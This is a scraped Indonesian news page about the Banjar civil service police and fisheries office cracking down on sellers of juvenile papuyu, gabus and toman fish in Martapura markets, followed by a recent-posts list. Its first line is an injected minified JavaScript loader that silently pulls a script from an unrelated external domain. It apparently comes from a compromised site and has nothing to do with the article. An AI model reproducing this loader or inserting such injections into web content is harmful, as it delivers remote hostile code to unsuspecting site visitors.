(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
Kabupaten Banjar

Satpol PP Banjar Dapati 7 Penjual Anakan Ikan


KANALKALIMANTAN.COM, MARTAPURA – Satuan Polisi Pamong Praja (Satpol PP) Kabupaten Banjar melakukan penertiban terhadap penjualan anakan ikan betok (papuyu), gabus dan toman di sejumlah pasar di Martapura, Senin (9/12/2024) siang.

Penertiban yang dilakukan Satpol PP tersebut merupakan tindak lanjut terhadap surat permintaan dari dari Dinas Ketahanan Pangan dan Perikanan Kabupaten Banjar Nomor: 500.5.6/375/DKPP/2024 perihal permohonan pendampingan pelaksanaan pengawasan/pembinaan terhadap penjualan anakan ikan pepuyu, gabus dan toman.

Satpol PP Kabupaten Banjar melalui Bidang Penegakan Produk Hukum Daerah yang dipimpin oleh Agus Hariyanto SH, MH melaksanakan pendampingan penegakan Perda Kabupaten Banjar Nomor 7 Tahun 2005 tentang Pengawasan dan Perlindungan Sumber Daya Ikan.

Baca juga: Naik 6,5 Persen, Upah Minimum Kalsel 2025 Rp3,4 Juta

Turun bersama Dinas Ketahanan Pangan dan Perikanan dan Perumda Pasar Bauntung Batuah, Satpol PP melaksanakan pengawasan dan pembinaan di kawasan Pusat Perbelanjaan Sekumpul, Pasar Induk Martapura. Ada 4 pelanggar perda yang kedapatan menjual anakan ikan.

Pada saat kegiatan berlangsung di Pasar Martapura, Kepala Seksi Pengawasan Sumber Daya Perikanan, Iwan Taruna mendapat laporan via telepon bahwa ada warga yang menangkap dan menjual anakan ikan di wilayah Kecamatan Martapura Timur.

Berdasar informasi tersebut petugas kemudian bergeser ke lokasi yang dimaksud.

Baca juga: Pemko Banjarbaru Raih Penghargaan Pelayanan Publik dari Ombudsman RI

Didampingi oleh Kanit Binmas Polsek Martapura Timur petugas mendapati tiga orang pelanggar di Desa Mekar Kecamatan Martapura Timur.

Dalam pengawasan dan pembinaan yang dilaksanakan ini adalah anakan ikan papuyu, haruan/gabus dan toman.

Agus mengimbau kepada masyarakat agar tidak lagi menangkap dan menjual anakan ikan, agar bibit ikan dan populasinya tidak punah. (Kanalkalimantan.com/satpolppbanjar/kk)

Reporter: kk
Editor: Dhani


Risa

Recent Posts

Langganan Luapan Air di Ruas Jalan Mistar Cokrokusomo Cempaka

KANALKALIMANTAN.COM, BANJARBARU - Genangan air yang merendam hingga ke Jalan Mistar Cokrokusumo, Kecamatan Cempaka, Kota… Read More

2 tahun ago

22 Januari: Asal Usul Hari Pejalan Kaki Nasional

KANALKALIMANTAN.COM - Setiap tanggal 22 Januari, diperingati Hari Pejalan Kaki Nasional sebagai bentuk penghormatan terhadap… Read More

2 tahun ago

Selewengkan Dana Program Kader Sosial HST, Terdakwa Ajukan Keberatan

KANALKALIMANTAN.COM, BANJARMASIN - Terdakwa kasus korupsi dana kader sosial pada Dinas Sosial (Dinsos) Kabupaten Hulu… Read More

2 tahun ago

Curah Hujan Diprediksi Masih Tinggi, BPBD Banjarbaru Catat 169 Rumah Terendam Banjir

KANALKALIMANTAN.COM, BANJARBARU – Badan Meteorologi, Klimatologi, dan Geofisika (BMKG) memprediksi potensi cuaca ekstrem di Kalimantan… Read More

2 tahun ago

Banjir Rob Masih Jadi Ancaman Warga Banjarmasin

KANALKALIMANTAN.COM, BANJARMASIN - Banjir rob akibat pasang surut air dan curah hujan tinggi masih menerjang… Read More

2 tahun ago

Hujan Diprediksi Hingga Maret 2025, BPBD Banjar Imbau Masyarakat Waspada

KANALKALIMANTAN.COM, MARTAPURA - Curah hujan ekstrem yang terjadi beberapa hari terakhir mengakibatkan genangan air terjadi… Read More

2 tahun ago

This website uses cookies.